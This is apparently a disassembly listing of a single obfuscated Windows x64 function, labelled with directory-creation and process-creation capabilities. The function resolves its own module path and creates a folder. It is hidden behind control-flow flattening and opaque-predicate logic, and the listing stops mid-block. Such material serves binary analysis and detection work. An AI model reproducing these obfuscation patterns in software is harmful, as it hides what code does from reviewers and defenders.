Function at 0x140026630
Capabilities:
Create directory
Create process on windows

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov rax, qword [0x14030a6f8]
xor rax, rbp
mov qword [rbp], rax
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 1
add r8d, 0
mov edx, ecx
sub edx, 0x868bfb71
add edx, r8d
add edx, 0x868bfb71
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp - 0x62], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp - 0x61], al
mov dword [rbp - 0x68], 0x76e5448d
mov eax, dword [rbp - 0x68]
mov dword [rbp - 0x6c], eax
sub eax, 0x8385e7ce
je 0x140027259
jmp 0x1400266b7
mov eax, dword [rbp - 0x6c]
sub eax, 0x86e5c1ce
je 0x1400294b8
jmp 0x1400266ca
mov eax, dword [rbp - 0x6c]
sub eax, 0x8ea7e3d6
je 0x1400282b1
jmp 0x1400266dd
mov eax, dword [rbp - 0x6c]
sub eax, 0x8f765919
je 0x140027489
jmp 0x1400266f0
mov eax, dword [rbp - 0x6c]
sub eax, 0x958e826c
je 0x140027d03
jmp 0x140026703
mov eax, dword [rbp - 0x6c]
sub eax, 0x985c045f
je 0x1400294ac
jmp 0x140026716
mov eax, dword [rbp - 0x6c]
sub eax, 0x99821cba
je 0x140027749
jmp 0x140026729
mov eax, dword [rbp - 0x6c]
sub eax, 0x9ddb26da
je 0x1400284da
jmp 0x14002673c
mov eax, dword [rbp - 0x6c]
sub eax, 0xa39a81a5
je 0x1400279f5
jmp 0x14002674f
mov eax, dword [rbp - 0x6c]
sub eax, 0xa734684a
je 0x1400295e2
jmp 0x140026762
mov eax, dword [rbp - 0x6c]
sub eax, 0xaa03b01b
je 0x1400293c8
jmp 0x140026775
mov eax, dword [rbp - 0x6c]
sub eax, 0xaaa859f1
je 0x14002850a
jmp 0x140026788
mov eax, dword [rbp - 0x6c]
sub eax, 0xb900d83c
je 0x140029163
jmp 0x14002679b
mov eax, dword [rbp - 0x6c]
sub eax, 0xba01d98b
je 0x1400284ce
jmp 0x1400267ae
mov eax, dword [rbp - 0x6c]
sub eax, 0xc17e5b91
je 0x140027fdc
jmp 0x1400267c1
mov eax, dword [rbp - 0x6c]
sub eax, 0xd0028a82
je 0x1400295d2
jmp 0x1400267d4
mov eax, dword [rbp - 0x6c]
sub eax, 0xd0d2cd35
je 0x14002779f
jmp 0x1400267e7
mov eax, dword [rbp - 0x6c]
sub eax, 0xd6028a0b
je 0x14002714f
jmp 0x1400267fa
mov eax, dword [rbp - 0x6c]
sub eax, 0xde148b96
je 0x1400273b8
jmp 0x14002680d
mov eax, dword [rbp - 0x6c]
sub eax, 0xe09193ed
je 0x140028ee3
jmp 0x140026820
mov eax, dword [rbp - 0x6c]
sub eax, 0xe0c6c34e
je 0x1400295fe
jmp 0x140026833
mov eax, dword [rbp - 0x6c]
sub eax, 0xe95cfd3b
je 0x140026eff
jmp 0x140026846
mov eax, dword [rbp - 0x6c]
sub eax, 0xeecce0cf
je 0x1400294e0
jmp 0x140026859
mov eax, dword [rbp - 0x6c]
sub eax, 0xf43a5cab
je 0x140028ced
jmp 0x14002686c
mov eax, dword [rbp - 0x6c]
sub eax, 0x1f0853
je 0x140028ada
jmp 0x14002687f
mov eax, dword [rbp - 0x6c]
sub eax, 0x3dbb4b5
je 0x140027764
jmp 0x140026892
mov eax, dword [rbp - 0x6c]
sub eax, 0xeb2bee2
je 0x140029484
jmp 0x1400268a5
mov eax, dword [rbp - 0x6c]
sub eax, 0x17aa6324
je 0x140027096
jmp 0x1400268b8
mov eax, dword [rbp - 0x6c]
sub eax, 0x1fda9e1a
je 0x140029420
jmp 0x1400268cb
mov eax, dword [rbp - 0x6c]
sub eax, 0x2d155c57
je 0x140027781
jmp 0x1400268de
mov eax, dword [rbp - 0x6c]
sub eax, 0x2e1cdbf9
je 0x140027aa4
jmp 0x1400268f1
mov eax, dword [rbp - 0x6c]
sub eax, 0x2f53a2cc
je 0x140028ed7
jmp 0x140026904
mov eax, dword [rbp - 0x6c]
sub eax, 0x3d89957a
je 0x140026c4d
jmp 0x140026917
mov eax, dword [rbp - 0x6c]
sub eax, 0x41d76378
je 0x1400293ee
jmp 0x14002692a
mov eax, dword [rbp - 0x6c]
sub eax, 0x474457aa
je 0x140026fb1
jmp 0x14002693d
mov eax, dword [rbp - 0x6c]
sub eax, 0x4799d7ef
je 0x140028750
jmp 0x140026950
mov eax, dword [rbp - 0x6c]
sub eax, 0x49ea419e
je 0x140028984
jmp 0x140026963
mov eax, dword [rbp - 0x6c]
sub eax, 0x4e21d33e
je 0x1400280a9
jmp 0x140026976
mov eax, dword [rbp - 0x6c]
sub eax, 0x502fff22
je 0x14002724d
jmp 0x140026989
mov eax, dword [rbp - 0x6c]
sub eax, 0x50a4e949
je 0x1400277ba
jmp 0x14002699c
mov eax, dword [rbp - 0x6c]
sub eax, 0x52a3edb5
je 0x140029410
jmp 0x1400269af
mov eax, dword [rbp - 0x6c]
sub eax, 0x566fd257
je 0x140028a32
jmp 0x1400269c2
mov eax, dword [rbp - 0x6c]
sub eax, 0x632d2bc7
je 0x140029442
jmp 0x1400269d5
mov eax, dword [rbp - 0x6c]
sub eax, 0x653c5103
je 0x1400284fe
jmp 0x1400269e8
mov eax, dword [rbp - 0x6c]
sub eax, 0x680ce0db
je 0x140027fd0
jmp 0x1400269fb
mov eax, dword [rbp - 0x6c]
sub eax, 0x683280fb
je 0x14002708a
jmp 0x140026a0e
mov eax, dword [rbp - 0x6c]
sub eax, 0x68a35c87
je 0x140027a98
jmp 0x140026a21
mov eax, dword [rbp - 0x6c]
sub eax, 0x69fa95e4
je 0x14002765c
jmp 0x140026a34
mov eax, dword [rbp - 0x6c]
sub eax, 0x72c4a54a
je 0x1400295f2
jmp 0x140026a47
mov eax, dword [rbp - 0x6c]
sub eax, 0x738a195b
je 0x140026f0b
jmp 0x140026a5a
mov eax, dword [rbp - 0x6c]
sub eax, 0x76e5448d
je 0x140026a72
jmp 0x140026a6d
jmp 0x140029605
mov r11b, byte [rbp - 0x62]
mov r10b, byte [rbp - 0x61]
mov cl, r11b
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov r8b, r11b
and r8b, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, r8b
or al, dl
xor cl, al
mov dl, r10b
xor dl, 0xff
and dl, 0
mov r8b, 1
xor r8b, 0
mov r9b, r10b
and r9b, r8b
mov al, 1
xor al, 1
and al, 0
and r8b, 1
or dl, r9b
or al, r8b
xor dl, al
mov bl, 1
xor bl, 0
and bl, 1
mov r8b, 1
xor r8b, 1
mov r9b, r8b
and r9b, 0
mov al, 1
xor al, 1
and al, 0xff
and r8b, 1
or bl, r9b
or al, r8b
xor bl, al
mov r8b, cl
xor r8b, 0xff
mov r9b, 1
xor r9b, 0
mov al, 1
xor al, 1
or r8b, r9b
or al, 1
xor r8b, 0xff
and r8b, al
xor r11b, 0xff
mov r9b, bl
xor r9b, 0xff
mov al, 1
xor al, 0
or r11b, r9b
or al, 0
xor r11b, 0xff
and r11b, al
mov r9b, dl
xor r9b, 0xff
mov sil, 1
xor sil, 0
mov al, 1
xor al, 0
or r9b, sil
or al, 0
xor r9b, 0xff
and r9b, al
xor r10b, 0xff
mov sil, bl
xor sil, 0xff
mov al, 1
xor al, 0
or r10b, sil
or al, 0
xor r10b, 0xff
and r10b, al
mov al, r8b
and al, r11b
xor r8b, r11b
or al, r8b
mov r8b, r9b
and r8b, r10b
xor r9b, r10b
or r8b, r9b
mov r9b, al
xor r9b, 0xff
mov r11b, r8b
and r11b, r9b
xor r8b, 0xff
and al, r8b
or r11b, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov r10b, al
xor r10b, 0xff
and r10b, 1
mov cl, 1
xor cl, 1
and al, cl
or r10b, al
mov al, 1
xor al, 0
mov r8b, bl
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
mov sil, dl
and sil, 0
mov r9b, r8b
and r9b, 0xff
and bl, dl
or cl, sil
or r9b, bl
xor cl, r9b
or al, r8b
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor r10b, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or r10b, cl
or al, 0
xor r10b, 0xff
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1fda9e1a
mov ecx, 0x3d89957a
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov eax, 0x10
call fcn.1402d39a0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x60], rax
mov eax, 0x110
mov qword [rbp - 0x78], rax
call fcn.1402d39a0
sub rsp, rax
mov rax, qword [rbp - 0x78]
mov rcx, rsp
mov qword [rbp - 0x58], rcx
call fcn.1402d39a0
sub rsp, rax
mov rax, qword [rbp - 0x78]
mov rcx, rsp
mov qword [rbp - 0x50], rcx
call fcn.1402d39a0
sub rsp, rax
mov rax, qword [rbp - 0x78]
mov rcx, rsp
mov qword [rbp - 0x48], rcx
call fcn.1402d39a0
sub rsp, rax
mov rax, qword [rbp - 0x78]
mov rcx, rsp
mov qword [rbp - 0x40], rcx
call fcn.1402d39a0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
add edx, 0xcace968b
add edx, 0x68bd1532
sub edx, 0xcace968b
sub edx, 0xdf39ece5
sub edx, 1
add edx, 0xdf39ece5
sub edx, 0x51cf64cb
sub edx, 0x68bd1532
add edx, 0x51cf64cb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl cl
mov al, r11b
xor al, 0xff
and al, 1
mov r8b, 1
xor r8b, 1
mov r9b, r11b
and r9b, r8b
mov dl, 1
xor dl, 1
and dl, 0xff
and r8b, 1
or al, r9b
or dl, r8b
xor al, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov r9b, 1
xor r9b, 1
mov r10b, cl
and r10b, r9b
mov r8b, 1
xor r8b, 1
and r8b, 0xff
and r9b, 1
or dl, r10b
or r8b, r9b
xor dl, r8b
mov bl, 1
xor bl, 1
and bl, 0
mov r9b, 1
xor r9b, 0
mov r10b, r9b
and r10b, 1
mov r8b, 1
xor r8b, 1
and r8b, 0
and r9b, 1
or bl, r10b
or r8b, r9b
xor bl, r8b
mov r8b, al
xor r8b, 0xff
mov r10b, 1
xor r10b, 1
mov r9b, 1
xor r9b, 0
or r8b, r10b
or r9b, 0
xor r8b, 0xff
and r8b, r9b
xor r11b, 0xff
mov r10b, bl
xor r10b, 0xff
mov r9b, 1
xor r9b, 1
or r11b, r10b
or r9b, 1
xor r11b, 0xff
and r11b, r9b
mov r9b, dl
xor r9b, 0xff
mov sil, 1
xor sil, 1
mov r10b, 1
xor r10b, 1
or r9b, sil
or r10b, 1
xor r9b, 0xff
and r9b, r10b
mov sil, bl
xor sil, 0xff
mov r10b, cl
xor r10b, sil
and r10b, cl
mov cl, r8b
and cl, r11b
xor r8b, r11b
or cl, r8b
mov r8b, r9b
and r8b, r10b
xor r9b, r10b
or r8b, r9b
mov r9b, cl
xor r9b, 0xff
mov r11b, r8b
and r11b, r9b
xor r8b, 0xff
and cl, r8b
or r11b, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov dl, 1
xor dl, 1
mov r9b, bl
xor r9b, 0xff
mov r8b, 1
xor r8b, 1
mov cl, dl
and cl, 0xff
mov sil, r8b
and sil, 1
mov r10b, r9b
and r10b, 0xff
and bl, r8b
or cl, sil
or r10b, bl
xor cl, r10b
or dl, r9b
xor dl, 0xff
or r8b, 1
and dl, r8b
or cl, dl
xor cl, 0xff
mov r10b, al
xor r10b, cl
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1fda9e1a
mov ecx, 0xe95cfd3b
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0x738a195b
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, ecx
xor edx, edx
sub edx, 0xd6221176
add r8d, edx
xor edx, edx
sub edx, r8d
sub edx, 0xf50bdbb5
sub edx, 1
add edx, 0xf50bdbb5
add edx, 0xca9af3ad
sub edx, 0xd6221176
sub edx, 0xca9af3ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl r8b
mov al, dl
xor al, 0xff
mov r9b, r8b
xor r9b, 0xff
mov cl, 1
xor cl, 1
or al, r9b
or cl, 1
xor al, 0xff
and al, cl
mov r9b, dl
xor r9b, 0xff
mov cl, r8b
and cl, r9b
xor r8b, 0xff
and dl, r8b
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x632d2bc7
mov ecx, 0x474457aa
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov rdx, qword [rbp - 0x50]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x28], rax
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov r8d, 0x453cf39f
add r8d, 0
sub r8d, 1
sub r8d, 0x453cf39f
mov edx, ecx
add edx, 0xce60c79f
add edx, r8d
sub edx, 0xce60c79f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r9b
cmp eax, 0xa
setl r8b
mov cl, r8b
xor cl, 0xff
mov al, r9b
xor al, cl
and al, r9b
mov cl, r9b
xor cl, 0xff
and cl, 1
mov r10b, 1
xor r10b, 1
and r9b, r10b
mov dl, r8b
xor dl, 0xff
and dl, 0xff
and r8b, r10b
or cl, r9b
or dl, r8b
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x632d2bc7
mov ecx, 0x683280fb
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0x17aa6324
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
sub edx, 0x981d269
sub edx, 0x237d0b84
add edx, 0x981d269
add edx, 0x7954f38b
sub edx, 1
sub edx, 0x7954f38b
xor r8d, r8d
sub r8d, edx
xor edx, edx
sub edx, 0x237d0b84
add r8d, edx
xor edx, edx
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r9b
cmp eax, 0xa
setl r8b
mov al, r9b
xor al, 0xff
mov dl, r8b
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, r9b
xor cl, 0xff
and cl, 0
mov r10b, 1
xor r10b, 0
and r9b, r10b
mov dl, r8b
xor dl, 0xff
and dl, 0
and r8b, r10b
or cl, r9b
or dl, r8b
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb2bee2
mov ecx, 0xd6028a0b
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
lea rdx, [0x140301277]
call fcn.1400238a0
add rsp, 0x20
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
add edx, 0x3e8a8d9f
add edx, 0xcd67e6f4
sub edx, 0x3e8a8d9f
sub edx, 0xa224bf1e
sub edx, 1
add edx, 0xa224bf1e
xor r8d, r8d
sub r8d, 0xcd67e6f4
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov r11b, dl
xor r11b, 0xff
mov r8b, cl
xor r8b, 0xff
mov al, 1
xor al, 0
or r11b, r8b
or al, 0
xor r11b, 0xff
and r11b, al
mov r10b, dl
xor r10b, 0xff
and r10b, 0
mov r8b, 1
xor r8b, 0
and dl, r8b
mov al, cl
xor al, 0xff
and al, 0
and cl, r8b
or r10b, dl
or al, cl
xor r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeb2bee2
mov ecx, 0x502fff22
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0x8385e7ce
jmp 0x140029605
mov eax, dword [0x14030b4e8]
mov ecx, dword [0x14030b4ec]
xor edx, edx
sub edx, 1
add edx, 0
xor r8d, r8d
sub r8d, edx
mov edx, eax
sub edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl r8b
mov cl, al
xor cl, 0xff
and cl, 1
mov r9b, 1
xor r9b, 1
mov r10b, al
and r10b, r9b
mov dl, 1
xor dl, 1
and dl, 0xff
and r9b, 1
or cl, r10b
or dl, r9b
xor cl, dl
mov r9b, r8b
xor r9b, 0xff
and r9b, 1
mov r10b, 1
xor r10b, 1
mov dl, r8b
and dl, r10b
or r9b, dl
mov dl, 1
xor dl, 0
and dl, 1
mov r10b, 1
xor r10b, 1
and r10b, 0
or dl, r10b
mov r11b, 1
xor r11b, 0
mov r10b, cl
xor r10b, r11b
and r10b, cl
mov r11b, dl
xor r11b, 0xff
mov bl, al
xor bl, r11b
and bl, al
mov r11b, 1
xor r11b, 0
mov al, r9b
xor al, r11b
and al, r9b
mov sil, dl
xor sil, 0xff
mov r11b, r8b
xor r11b, sil
and r11b, r8b
mov r8b, r10b
and r8b, bl
xor r10b, bl
or r8b, r10b
mov r10b, al
and r10b, r11b
xor al, r11b
or r10b, al
mov r11b, r8b
xor r11b, 0xff
mov al, r10b
and al, r11b
xor r10b, 0xff
and r8b, r10b
or al, r8b
mov r8b, cl
and r8b, r9b
xor cl, r9b
or r8b, cl
mov cl, r8b
xor cl, 0xff
and cl, 1
mov r9b, 1
xor r9b, 1
and r8b, r9b
or cl, r8b
mov r8b, dl
and r8b, 0
xor dl, 0
or r8b, dl
xor cl, 0xff
xor r8b, 0xff
mov dl, 1
xor dl, 1
or cl, r8b
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x985c045f
mov ecx, 0xde148b96
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov eax, dword [0x14030b4e8]
mov ecx, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0xa1670ae7
mov edx, eax
add edx, r8d
sub edx, 0x1eeb0e6f
sub edx, 1
add edx, 0x1eeb0e6f
sub edx, 0xdea6081
add edx, 0xa1670ae7
add edx, 0xdea6081
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov r11b, al
xor r11b, 0xff
mov r8b, cl
xor r8b, 0xff
mov dl, 1
xor dl, 0
or r11b, r8b
or dl, 0
xor r11b, 0xff
and r11b, dl
mov dl, al
xor dl, 0xff
mov r10b, cl
and r10b, dl
xor cl, 0xff
and al, cl
or r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x985c045f
mov ecx, 0x8f765919
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
add edx, 0x7bda1999
sub edx, 0xba1d5a4a
sub edx, 0x7bda1999
xor r8d, r8d
sub r8d, 1
add edx, r8d
xor r8d, r8d
sub r8d, edx
xor edx, edx
sub edx, 0xba1d5a4a
add r8d, edx
xor edx, edx
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r10b
cmp eax, 0xa
setl cl
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dl, 1
xor dl, 1
mov al, r10b
and al, dl
or sil, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov r8b, cl
and r8b, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, r8b
or al, dl
xor bl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov r8b, sil
xor r8b, 0xff
mov r9b, 1
xor r9b, 1
mov al, 1
xor al, 0
or r8b, r9b
or al, 0
xor r8b, 0xff
and r8b, al
xor r10b, 0xff
mov r9b, dl
xor r9b, 0xff
mov al, 1
xor al, 1
or r10b, r9b
or al, 1
xor r10b, 0xff
and r10b, al
mov r9b, 1
xor r9b, 1
mov al, bl
xor al, r9b
and al, bl
mov r11b, dl
xor r11b, 0xff
mov r9b, cl
xor r9b, r11b
and r9b, cl
mov cl, r8b
and cl, r10b
xor r8b, r10b
or cl, r8b
mov r8b, al
and r8b, r9b
xor al, r9b
or r8b, al
mov r9b, cl
xor r9b, 0xff
mov al, r8b
and al, r9b
xor r8b, 0xff
and cl, r8b
or al, cl
mov cl, sil
xor cl, 0xff
mov r9b, bl
xor r9b, 0xff
mov r8b, 1
xor r8b, 0
mov r10b, cl
and r10b, 0
and sil, r8b
mov r11b, r9b
and r11b, 0
and bl, r8b
or r10b, sil
or r11b, bl
xor r10b, r11b
or cl, r9b
xor cl, 0xff
or r8b, 0
and cl, r8b
or r10b, cl
mov cl, r10b
xor cl, 0xff
and cl, 0
mov r9b, 1
xor r9b, 0
and r10b, r9b
mov r8b, 1
xor r8b, 1
and r8b, 0
and r9b, 1
or cl, r10b
or r8b, r9b
xor cl, r8b
mov r8b, dl
and r8b, 1
xor dl, 1
or r8b, dl
xor cl, 0xff
xor r8b, 0xff
mov dl, 1
xor dl, 0
or cl, r8b
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41d76378
mov ecx, 0x69fa95e4
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov rcx, qword [rbp - 0x58]
xor eax, eax
mov edx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add rsp, 0x20
cmp eax, 0
setne al
and al, 1
mov byte [rbp - 0x19], al
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0xb03d373d
mov edx, ecx
sub edx, r8d
xor r8d, r8d
sub r8d, 1
add edx, r8d
sub edx, 0x8d047e59
sub edx, 0xb03d373d
add edx, 0x8d047e59
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov al, cl
xor al, 0xff
mov r11b, dl
xor r11b, al
and r11b, dl
mov r10b, dl
xor r10b, 0xff
and r10b, 0
mov r8b, 1
xor r8b, 0
and dl, r8b
mov al, cl
xor al, 0xff
and al, 0
and cl, r8b
or r10b, dl
or al, cl
xor r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41d76378
mov ecx, 0x99821cba
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dl, byte [rbp - 0x19]
mov eax, 0x3dbb4b5
mov ecx, 0x50a4e949
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov dword [rbp - 0x18], eax
mov dword [rbp - 0x68], 0x2d155c57
jmp 0x140029605
mov ecx, dword [rbp - 0x18]
mov eax, 0xb7
cmp eax, ecx
sete al
and al, 1
mov byte [rbp - 0x11], al
mov dword [rbp - 0x68], 0xd0d2cd35
jmp 0x140029605
mov dl, byte [rbp - 0x11]
mov eax, 0x4e21d33e
mov ecx, 0x50a4e949
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
sub edx, 0xe2b3b6f4
sub edx, 0xf28c25cc
add edx, 0xe2b3b6f4
sub edx, 0x4c73b41
sub edx, 1
add edx, 0x4c73b41
sub edx, 0xeb3c77ab
add edx, 0xf28c25cc
add edx, 0xeb3c77ab
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov sil, cl
xor sil, 0xff
and sil, 1
mov r8b, 1
xor r8b, 1
mov dl, cl
and dl, r8b
or sil, dl
mov r11b, al
xor r11b, 0xff
and r11b, 1
mov r8b, 1
xor r8b, 1
mov dl, al
and dl, r8b
or r11b, dl
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
and dl, 1
or bl, dl
mov dl, 1
xor dl, 1
mov r15b, sil
xor r15b, dl
and r15b, sil
mov dl, bl
xor dl, 0xff
mov r10b, cl
xor r10b, dl
and r10b, cl
mov r14b, r11b
xor r14b, 0xff
mov dl, 1
xor dl, 1
mov cl, 1
xor cl, 1
or r14b, dl
or cl, 1
xor r14b, 0xff
and r14b, cl
mov cl, bl
xor cl, 0xff
mov dil, al
xor dil, cl
and dil, al
mov al, r15b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and r15b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or cl, r15b
or r9b, r10b
xor cl, r9b
or al, r8b
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, r14b
xor al, 0xff
mov r9b, dil
xor r9b, 0xff
mov r8b, 1
xor r8b, 1
mov dl, al
and dl, 0xff
and r14b, r8b
mov r10b, r9b
and r10b, 0xff
and dil, r8b
or dl, r14b
or r10b, dil
xor dl, r10b
or al, r9b
xor al, 0xff
or r8b, 1
and al, r8b
or dl, al
mov r8b, cl
xor r8b, 0xff
mov al, dl
and al, r8b
xor dl, 0xff
and cl, dl
or al, cl
mov cl, sil
xor cl, 0xff
mov r8b, r11b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov r9b, cl
and r9b, 0xff
and sil, dl
mov r10b, r8b
and r10b, 0xff
and r11b, dl
or r9b, sil
or r10b, r11b
xor r9b, r10b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or r9b, cl
mov dl, r9b
xor dl, 0xff
and dl, 1
mov r8b, 1
xor r8b, 1
and r9b, r8b
mov cl, 1
xor cl, 1
and cl, 0xff
and r8b, 1
or dl, r9b
or cl, r8b
xor dl, cl
mov cl, 1
xor cl, 1
mov r10b, bl
xor r10b, 0xff
mov r9b, 1
xor r9b, 1
mov r8b, cl
and r8b, 0xff
mov sil, r9b
and sil, 1
mov r11b, r10b
and r11b, 0xff
and bl, r9b
or r8b, sil
or r11b, bl
xor r8b, r11b
or cl, r10b
xor cl, 0xff
or r9b, 1
and cl, r9b
or r8b, cl
xor r8b, 0xff
mov cl, dl
xor cl, r8b
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86e5c1ce
mov ecx, 0xa39a81a5
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
lea rdx, [0x1403014ec]
call fcn.1400238a0
add rsp, 0x20
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0x4d4c4c9c
mov edx, ecx
add edx, r8d
xor r8d, r8d
sub r8d, 1
add edx, r8d
xor r8d, r8d
sub r8d, 0x4d4c4c9c
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl r8b
mov cl, r8b
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov r9b, dl
xor r9b, 0xff
mov cl, r8b
and cl, r9b
xor r8b, 0xff
and dl, r8b
or cl, dl
mov dl, al
